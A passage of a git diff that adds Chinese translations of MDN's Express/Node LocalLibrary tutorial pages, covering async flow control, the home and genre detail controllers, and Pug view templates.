class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="punctuation token">]</span><span class="punctuation token">,</span> + <span class="comment token">// optional callback</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// results is now equal to ['one', 'two'] </span> + <span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="依赖序列的非同步操作">依赖序列的非同步操作</h2> + +<p>方法<code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code>用于在每个操作依赖于前一个操作的结果时,依次运行多个异步操作。</p> + +<p>每个异步函数调用的回调,包含第一个参数的<code>null</code>,与后续参数里的结果。该序列中的每个函数,都将前一个回调的结果参数,作为第一个参数,然后是回调函数。</p> + +<p>完成所有操作后,将使用上一操作的结果,调用最终回调。当您参考下面的代码片段时,这种工作方式会更加明确(此示例来自 <em>async</em> 文档):</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">waterfall</span><span class="punctuation token">(</span><span class="punctuation token">[</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'one'</span><span class="punctuation token">,</span> <span class="string token">'two'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> arg2<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// arg1 now equals 'one' and arg2 now equals 'two' </span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'three'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="keyword token">function</span><span class="punctuation token">(</span>arg1<span class="punctuation token">,</span> callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// arg1 now equals 'three'</span> + <span class="function token">callback</span><span class="punctuation token">(</span><span class="keyword token">null</span><span class="punctuation token">,</span> <span class="string token">'done'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">]</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> result<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// result now equals 'done'</span> +<span class="punctuation token">}</span> +<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<h2 class="highlight-spanned" id="安装_async">安装<span class="highlight-span"> async</span></h2> + +<p>使用 NPM 包管理器安装 async 模块,以便我们可以在代码中使用它。您可以常规方式执行此操作,在 LocalLibrary 项目的根目录中,打开命令提示并输入以下命令:</p> + +<p> </p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install async</code></pre> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">模板入门</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html new file mode 100644 index 0000000000..825474b9ab --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/genre_detail_page/index.html @@ -0,0 +1,120 @@ +--- +title: 种类细节页面 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page +--- +<p>种类细节页面,需要利用<code>_id</code> 字段值 (自动生成) ,以呈现特定种类实例的信息。此页面应该呈现种类名称,各个种类的所有书本列表(每本书都连结到书本的细节页面)。</p> + +<h2 id="控制器">控制器</h2> + +<p>打开 <strong>/controllers/genreController.js</strong> ,并在档案最上方引用 async 和 Book 模组。</p> + +<pre class="brush: js">var Book = require('../models/book'); +var async = require('async'); +</pre> + +<p>找到导出的<code>genre_detail</code><code>()</code>控制器方法,并将其替换为以下代码。</p> + +<pre class="brush: js">// Display detail page for a specific Genre. +exports.genre_detail = function(req, res, next) { + +<strong> async.parallel({ + genre: function(callback) { + Genre.findById(req.params.id) + .exec(callback); + }, + + genre_books: function(callback) { + Book.find({ 'genre': req.params.id }) + .exec(callback); + }, + + }, function(err, results) { + if (err) { return next(err); } + if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); + } + // Successful, so render + res.render('genre_detail', { title: 'Genre Detail', genre: results.genre, genre_books: results.genre_books } ); + });</strong> + +}; +</pre> + +<p>该方法使用<code>async.parallel()</code>,并行查询类型名称及其相关联的书本,并在(如果)两个请求成功完成时,回调呈现页面。</p> + +<p>所需种类记录的 ID ,在 URL 的末尾编码,并根据路由定义(<strong>/genre/:id</strong>)自动提取。通过请求参数(<code style="font-style: normal; font-weight: normal;">req.params.id</code><code style="font-style: normal; font-weight: normal;">)</code>在控制器内访问 ID。它在<code style="font-style: normal; font-weight: normal;">Genre.findById()</code>中用于获取当前种类。它还用于获取符合当前种类的所有<code>Book</code>对象,就是在种类字段中具有种类ID的那些 <code>Book.find({ 'genre': req.params.id })</code>。</p> + +<div class="note"> +<p><strong>注意:</strong> 如果数据库中不存在该类型(即它可能已被删除),则<code>findById()</code>将成功返回,但没有结果。在这种情况下,我们想要显示一个“未找到”页面,因此我们创建一个<code>Error</code>对象,并将其传递给链中的下一个中间件函数<code>next</code>。</p> + +<pre class="brush: js"><strong>if (results.genre==null) { // No results. + var err = new Error('Genre not found'); + err.status = 404; + return next(err); +}</strong> +</pre> + +<p>然后,此消息将传播给我们的错误处理代码(这是在我们<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website#error_handling">生成应用程序框架</a>时设置的 - 有关更多信息,请参阅<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction#Handling_errors">处理错误</a>)。</p> +</div> + +<p>渲染的视图是 <strong>genre_detail</strong>,它传递了该类型的标题<code>title</code>,种类<code>genre</code>和书本列表的变量(<code>genre_books</code>)。</p> + +<h2 id="视图">视图</h2> + +<p>创建 <strong>/views/genre_detail.pug</strong> ,并填写底下文字:</p> + +<pre class="brush: js">extends layout + +block content + + <strong>h1 Genre: #{genre.name}</strong> + + div(style='margin-left:20px;margin-top:20px') + + h4 Books + + dl + each book in genre_books + dt + a(href=book.url) #{book.title} + dd #{book.summary} + + else + p This genre has no books +</pre> + +<p>这个视图跟我们其它的模板非常相似。主要的差别在于,我们不使用 <code>title</code> 传送第一个标题 (虽然它还是用在底层的 <strong>layout.pug</strong> 模板,设定页面的标题)。</p> + +<h2 id="它看起來像是">它看起來像是?</h2> + +<p>运行本应用,并打开浏览器访问 <a href="http://localhost:3000/">http://localhost:3000/</a>。选择 All genres 连结,然后选择其中一个种类 (例如,"Fantasy")。如果每样东西都设定正确了,你的页面看起来应该像底下的截图。</p> + +<p><img alt="Genre Detail Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14462/LocalLibary_Express_Genre_Detail.png" style="border-style: solid; border-width: 1px; display: block; height: 523px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p>您可能会收到与此类似的错误:</p> + +<pre class="brush: bash">Cast to ObjectId failed for value " 59347139895ea23f9430ecbb" at path "_id" for model "Genre" +</pre> + +<p>这是来自 <strong>req.params.id</strong> 的 mongoose 错误。要解决这个问题,首先需要在<strong> genreController.js</strong> 页面上要求mongoose,如下所示:</p> + +<pre class="brush: js"> var mongoose = require('mongoose'); +</pre> +然后使用 <strong>mongoose.Types.ObjectId()</strong>将 id 转换为可以使用的。例如: + +<pre class="brush: js">exports.genre_detail = function(req, res, next) { + var id = mongoose.Types.ObjectId(req.params.id); + ... +</pre> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 下一个部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">书本细节页面</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html new file mode 100644 index 0000000000..27dbdb5788 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/home_page/index.html @@ -0,0 +1,134 @@ +--- +title: 主页 +slug: learn/Server-side/Express_Nodejs/Displaying_data/Home_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Home_page +--- +<p>我们创建的第一个页面,是网站的主页面,可以从网站的根目录 (<code>'/'</code>) ,或者 catalog 的根目录 (<code>catalog/</code>) 访问。这将呈现一些网站的静态文字描述,以及动态计算数据库中不同记录类型的“计数”。</p> + +<p>我们已经为主页创建了一个路由。为了完成页面,我们需要更新控制器函数,以从数据库中提取记录的“计数”,并创建一个可用于呈现页面的视图(模板)。</p> + +<h2 class="highlight-spanned" id="路由"><span class="highlight-span">路由</span></h2> + +<p>在 <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">前面的教程</a>,我们创建 index 页面路由。此处要提醒的是,所有的路由函式,都定义在 <strong>/routes/catalog.js</strong>:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// GET catalog home page.</span> +router<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="string token">'/'</span><span class="punctuation token">,</span> book_controller<span class="punctuation token">.</span>index<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//This actually maps to /catalog/ because we import the route with a /catalog prefix</span></code></pre> + +<p>在 <strong>/controllers/bookController.js</strong> 中,定义回调函数参数(<code>book_controller.index</code>) :</p> + +<pre class="brush: js"><code>exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</code> +</pre> + +<p>我们扩展这个控制器函数,以从我们的模型获取信息,然后使用模板(视图)渲染它。</p> + +<h2 class="highlight-spanned" id="控制器"><span class="highlight-span">控制器</span></h2> + +<p>索引控制器函数需要获取以下有关信息,即数据库中有多少<code>Book</code>,<code>BookInstance</code>,可用的<code>BookInstance</code>,<code>Author</code>和<code>Genre</code>记录,将这些数据渲染到模板中,以创建HTML页面,然后将其返回到HTTP响应中。</p> + +<div class="note"> +<p><strong>Note:</strong> 我们使用<code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code> 方法来获取每个模型的实例数量。这在具有一组可选条件的模型上进行调用,以匹配第一个参数,而回调放在第二个参数(如<a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">使用数据库</a><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">(Mongoose)</a>)中讨论的那样,并且还可以返回 <code>Query</code> ,然后稍后以回调执行它。当数据库返回计数时,将返回该回调,并将错误值(或空值<code>null</code>)作为第一个参数,并将记录计数(如果存在错误,则返回null)作为第二个参数。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">SomeModel<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">(</span><span class="punctuation token">{</span> a_model_field<span class="punctuation token">:</span> <span class="string token">'match_value'</span> <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> count<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="comment token">// ... do something if there is an err</span> + <span class="comment token">// ... do something with the count if there was no error</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> +</div> + +<p>打开 <strong>/controllers/bookController.js</strong>. 在文件顶部附近,您应该看到导出的 <code>index()</code> 函数。</p> + +<pre class="brush: python line-numbers language-python"><code class="language-python">var Book = require('../models/book') + +exports.index = function(req, res, next) { + res.send('NOT IMPLEMENTED: Site Home Page'); +}</code></pre> + +<p>用以下代码片段替换上面的所有代码。这要做的第一件事,是导入(<code>require()</code>)所有模型(以粗体突出高亮显示)。我们需要这样做,是因为我们将使用它们来获取记录的计数。然后它会导入异步模块<em> async</em> 。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> Book <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/book'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> Author <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/author'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> Genre <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/genre'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> BookInstance <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'../models/bookinstance'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> <span class="keyword token">async</span> <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'async'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +exports<span class="punctuation token">.</span>index <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <span class="keyword token">async</span><span class="punctuation token">.</span><span class="function token">parallel</span><span class="punctuation token">(</span><span class="punctuation token">{</span> + book_count<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Book<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">({}, </span>callback<span class="punctuation token">); // Pass an empty object as match condition to find all documents of this collection</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + book_instance_count<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + BookInstance<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">({}, </span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + book_instance_available_count<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + BookInstance<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">(</span><span class="punctuation token">{</span>status<span class="punctuation token">:</span><span class="string token">'Available'</span><span class="punctuation token">}</span><span class="punctuation token">,</span> callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + author_count<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Author<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">({}, </span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + genre_count<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>callback<span class="punctuation token">)</span> <span class="punctuation token">{</span> + Genre<span class="punctuation token">.</span><span class="function token">count</span><span class="punctuation token">({}, </span>callback<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> + <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>err<span class="punctuation token">,</span> results<span class="punctuation token">)</span> <span class="punctuation token">{</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'index'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Local Library Home'</span><span class="punctuation token">,</span> error<span class="punctuation token">:</span> err<span class="punctuation token">,</span> data<span class="punctuation token">:</span> results <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p><code>async.parallel()</code> 方法传递一个对象,其中包含用于获取每个模型计数的函数。这些函数都是在同一时间开始的。当这些函数全部完成时,最终回调将与结果参数中的计数(或错误)一起被调用。</p> + +<p>成功时,回调函数调用 <code><a class="external external-icon" href="http://expressjs.com/en/4x/api.html#res.render" rel="noopener">res.render()</a></code>,指定名为 '<strong>index</strong>' 的视图(模板),以及一个对象包含了要插入其中的数据 (这包括我们模型计数的结果对象)。数据以键值对的形式提供,可以使用键在模板中访问。</p> + +<div class="note"> +<p><strong>注意:</strong> 上面的<code>async.parallel()</code>裡的回调函数有点不寻常,因为不管是否出现错误,我们都会渲染页面(通常您可能使用单独的执行路径来处理错误的显示)。</p> +</div> + +<h2 class="highlight-spanned" id="视图">视图</h2> + +<p>打开 <strong>/views/index.pug</strong> ,并用底下文字取代它的内容。</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + p Welcome to #<span class="punctuation token">[</span>em LocalLibrary<span class="punctuation token">]</span><span class="punctuation token">,</span> a very basic Express website developed <span class="keyword token">as</span> a tutorial example on the Mozilla Developer Network<span class="punctuation token">.</span> + + h1 Dynamic content + + <span class="keyword token">if</span> error + p Error getting dynamic content<span class="punctuation token">.</span> + <span class="keyword token">else</span> + p The library has the following record counts<span class="punctuation token">:</span> + + ul + li #<span class="punctuation token">[</span>strong Books<span class="punctuation token">:</span><span class="punctuation token">]</span> <span class="operator token">!</span><span class="punctuation token">{</span>data<span class="punctuation token">.</span>book_count<span class="punctuation token">}</span> + li #<span class="punctuation token">[</span>strong Copies<span class="punctuation token">:</span><span class="punctuation token">]</span> <span class="operator token">!</span><span class="punctuation token">{</span>data<span class="punctuation token">.</span>book_instance_count<span class="punctuation token">}</span> + li #<span class="punctuation token">[</span>strong Copies available<span class="punctuation token">:</span><span class="punctuation token">]</span> <span class="operator token">!</span><span class="punctuation token">{</span>data<span class="punctuation token">.</span>book_instance_available_count<span class="punctuation token">}</span> + li #<span class="punctuation token">[</span>strong Authors<span class="punctuation token">:</span><span class="punctuation token">]</span> <span class="operator token">!</span><span class="punctuation token">{</span>data<span class="punctuation token">.</span>author_count<span class="punctuation token">}</span> + li #<span class="punctuation token">[</span>strong Genres<span class="punctuation token">:</span><span class="punctuation token">]</span> <span class="operator token">!</span><span class="punctuation token">{</span>data<span class="punctuation token">.</span>genre_count<span class="punctuation token">}</span></code></pre> + +<p>这个视图很简单。我们扩展了 <strong>layout.pug</strong> 基本模板,覆盖了名为 '<strong>content</strong>' 的模块 <code>block</code>。第一个<code>h1</code>标题,将是传递给<code>render()</code>函数的<code>title</code> 变量的转义文本 — 请注意 '<code>h1=</code>' 的使用方式,将使得接下來的文本,被视为 JavaScript 表达式。然后我们放入一个介绍本地图书馆的段落。</p> + +<p>在动态内容标题下,我们检查从<code>render()</code>函数传入的错误变量,是否已定义。如果是这样,我们列出这个错误。如果不是,我们从<code>data</code>变量中,获取并列出每个模型的副本数量。</p> + +<div class="note"> +<p><strong>注意:</strong> 我们没有转义计数值 (i.e. 我们使用 <code>!{}</code> 语法) ,因为计数值已经被计算过了。如果信息是由终端用户提供的,那么我们就会转义該变量,以用于显示。</p> +</div> + +<h2 class="highlight-spanned" id="它看起来像是">它看起来像是?</h2> + +<p>此处,我们应该已经创建了呈现index页面,所需要的每样东西。运行本地图书馆应用,并打开浏览器访问 <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>。如果每样东西都设定正确了,你的网站看起来应该像底下的截图。</p> + +<p><img alt="Home page - Express Local Library site" src="https://mdn.mozillademos.org/files/14458/LocalLibary_Express_Home.png" style="display: block; height: 440px; margin: 0px auto; width: 1000px;"></p> + +<div class="note"> +<p><strong>注意: </strong>您将无法使用侧边栏链接,因为这些网页的网址,视图和模板尚未定义。例如,如果您尝试,取决于您点击的链接,您将获取“尚未实作:图书清单”等错误。在“控制器”文件中的不同控制器中,會指定这些字符串文字(将被合适的数据替换)。</p> +</div> + +<h2 id="下一步">下一步</h2> + +<ul> + <li>回到 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li>继续教程 5 下個部分: <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">书本列表页面</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html new file mode 100644 index 0000000000..b59601e248 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/index.html @@ -0,0 +1,87 @@ +--- +title: 'Express 教程 5: 呈现图书馆数据' +slug: learn/Server-side/Express_Nodejs/Displaying_data +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary">我们现在准备好要新增网页,以显示<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">本地图书馆网站</a>的书本与其它资料。这些网页将包含一个主页 ,显示我们拥有的每个模型的记录数,以及所有模型的清单和详细信息页面。借此,我们将获得从数据库获取记录、以及使用模板的实战经验。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前置条件:</th> + <td>完成先前教程主题 (包含 <a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 Part 4: 路由与控制器</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td> + <p>了解如何使用异步模组与Pug 样版语言,以及如何从我们的控制器函数中的URL取得信息。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="概览">概览</h2> + +<p>在我们先前的教程中,定义了可以用来跟资料库互动的 <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Mongoose models</a> ,并创建了一些初始的图书馆记录。我们接着<a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">创建本地图书馆网站需要的所有路由</a> ,但仅使用"空壳控制器" 函数(这些是骨架控制器函数,当一个网页被存取时,只回传一个"未实现" 信息)。</p> + +<p>下一步,是为这些显示图书馆信息的网页,提供适当的实现(我们将在后面的文章,聚焦网页表单的实现,像是创建、更新、删除信息)。这包含了更新控制器函数,以利用我们的模型获取记录,并定义模板,为用户显示这些信息。</p> + +<p>我们在一开始,提供概述/入门主题,解释在控制器函数中,如何管理异步操作,以及如何使用Pug编写模板。然后我们将为每一个主要的 "只读" 页面提供实现步骤,并且在使用到任何特别的、新的特性时附上简短的解释说明。</p> + +<p>本教程的最后,你对路由、异步函数、视图、模型如何实际运作,应该有了更好的理解。</p> + +<h2 id="本教程的章节">本教程的章节</h2> + +<p>本教程分为下列章节,讲解了为了显示图书馆网站需求的页面而新增各种特性的过程 。在进入下一个教程之前,你需要阅读并逐一实现下列章节。</p> + +<ol> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async">使用 async 进行异步流控制</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Template_primer">模版入门</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template">本地图书馆基础样版</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Home_page">主页</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page">书本清单页面</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">书本实例清单页面</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">日期格式化-使用 moment</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">作者清单页面、分类清单页面</a><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge">、</a><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">与自我挑战</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">分类详情页面</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Book_detail_page">书本详情页面</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_detail_page">作者详情页面</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_detail_page_and_challenge">书本实例详情页面、与自我挑战</a></li> +</ol> + +<h2 id="总结">总结</h2> + +<p>我们现在已经为我们的网站,创建了所有 "只读" 的页面: 一个主页,可以显示每一个模组的实例数量,书本的列表与详细信息页面,书本的实例、作者、分类。沿着目前的学习路径,我们学到了许多基本知识,有控制器、在异步操作时管理流控制、使用Pug创建视图模板、使用模型查询数据库、如何从视图传送信息到模板、如何创建并扩展模板。而完成挑战的人,还会学到如何用moment处理日期。</p> + +<p>在下一篇文章,我们将依据目前为止学到的知识,创建HTML 表单以及表单管理代码,开始修改储存在网站中的资料。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://caolan.github.io/async/docs.html">Async </a>模组 (Async 模组官方文件)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">在Express中使用模板引擎</a> (Express 官方文件)</li> + <li><a href="https://pugjs.org/api/getting-started.html">Pug</a> (Pug 官方文件)</li> + <li><a href="http://momentjs.com/docs/">Moment</a> (Moment 官方文件)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/routes", "Learn/Server-side/Express_Nodejs/forms", "Learn/Server-side/Express_Nodejs")}}</p> + + + +<h2 id="本教程文章列表">本教程文章列表</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node 介绍</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/development_environment">架设 Node (Express) 开发环境</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express 教程: 本地图书馆网站</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express 教程 2: 新建网站骨架</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/mongoose">Express 教程 3: 使用数据库 (Mongoose)</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/routes">Express 教程 4: 路由和控制器</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express 教程 5: 呈现图书馆数据</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/forms">Express 教程 6: 使用表单</a></li> + <li><a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs/deployment">Express 教程 7: 部署至生产环境</a></li> +</ul> diff --git a/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html new file mode 100644 index 0000000000..41d851e7d7 --- /dev/null +++ b/files/zh-cn/learn/server-side/express_nodejs/displaying_data/locallibrary_base_template/index.html @@ -0,0 +1,69 @@ +--- +title: 本地图书馆基础模板 +slug: learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/LocalLibrary_base_template +--- +<p>现在我们了解如何使用Pug拓展模板,让我们开始项目,创建一个基础模板。这个模板会有一个侧边栏,连结到本教程中将要创建的各个页面(例如,呈现并创建书本、种类、作者等等),以及一个主要内容区域,我们将在每个页面中进行覆写。</p> + +<p>开启 <strong>/views/layout.pug</strong> ,并以下列代码置换其内容。</p> + +<pre class="brush: html line-numbers language-html notranslate"><code class="language-html">doctype html +html(lang='en') + head + title= title + meta(charset='utf-8') + meta(name='viewport', content='width=device-width, initial-scale=1') + link(rel='stylesheet', href='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css') + script(src='https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js') + script(src='https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js') + link(rel='stylesheet', href='/stylesheets/style.css') + body + div(class='container-fluid') + div(class='row') + div(class='col-sm-2') + block sidebar + ul(class='sidebar-nav') + li + a(href='/catalog') Home + li + a(href='/catalog/books') All books + li + a(href='/catalog/authors') All authors + li + a(href='/catalog/genres') All genres + li + a(href='/catalog/bookinstances') All book-instances + li + hr + li + a(href='/catalog/author/create') Create new author + li + a(href='/catalog/genre/create') Create new genre + li + a(href='/catalog/book/create') Create new book + li + a(href='/catalog/bookinstance/create') Create new book instance (copy) + + 